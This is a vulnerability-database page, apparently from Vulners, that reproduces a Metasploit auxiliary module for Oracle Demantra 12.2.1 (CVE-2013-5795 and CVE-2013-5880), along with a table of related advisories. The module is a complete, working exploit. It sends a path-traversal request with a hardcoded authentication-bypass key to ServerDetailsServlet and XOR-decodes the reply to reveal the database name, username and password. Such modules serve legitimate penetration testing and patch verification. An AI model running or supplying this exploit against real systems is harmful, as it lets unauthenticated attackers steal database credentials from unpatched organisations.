Lucene search
K

Oracle Demantra Database Credentials Leak

🗓️ 01 Sep 2024 00:00:00Reported by Oliver Gruskovnjak, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 145 Views

Oracle Demantra Database Credentials Leak in Oracle Demantra 12.2.1 - Authentication Bypas

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Oracle Demantra 12.2.1 - Database Credentials Disclosure
1 Mar 201400:00
zdt
Circl
CVE-2013-5795
1 Mar 201400:00
circl
Circl
CVE-2013-5880
14 Jan 201400:00
circl
CVE
CVE-2013-5795
15 Jan 201400:30
cve
CVE
CVE-2013-5880
15 Jan 201400:30
cve
Cvelist
CVE-2013-5795
15 Jan 201400:30
cvelist
Cvelist
CVE-2013-5880
15 Jan 201400:30
cvelist
Metasploit
Oracle Demantra Database Credentials Leak
7 Apr 201418:42
metasploit
Metasploit
Oracle Demantra Arbitrary File Retrieval with Authentication Bypass
27 Mar 201404:53
metasploit
NVD
CVE-2013-5795
15 Jan 201416:11
nvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle Demantra Database Credentials Leak',  
'Description' => %q{  
This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in  
combination with an authentication bypass. This way an unauthenticated user can retrieve  
the database name, username and password on any vulnerable machine.  
},  
'References' =>  
[  
[ 'CVE', '2013-5795'],  
[ 'CVE', '2013-5880'],  
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/'],  
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ]  
],  
'Author' =>  
[  
'Oliver Gruskovnjak'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2014-02-28'  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptBool.new('SSL', [false, 'Use SSL', false])  
])  
end  
  
def run_host(ip)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('demantra', 'common', 'loginCheck.jsp', '..', '..', 'ServerDetailsServlet'),  
'vars_get' => {  
'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1'  
}  
})  
  
if res.nil? or res.body.empty?  
vprint_error("No content retrieved")  
return  
end  
  
if res.code == 404  
vprint_error("File not found")  
return  
end  
  
if res.code == 200  
creds = ""  
  
vprint_status("String received: #{res.body.to_s}") unless res.body.blank?  
  
res.body.to_s.split(",").each do|c|  
i = c.to_i ^ 0x50  
creds += i.chr  
end  
print_good("Credentials decoded: #{creds}") unless creds.empty?  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 25
EPSS0.8237
145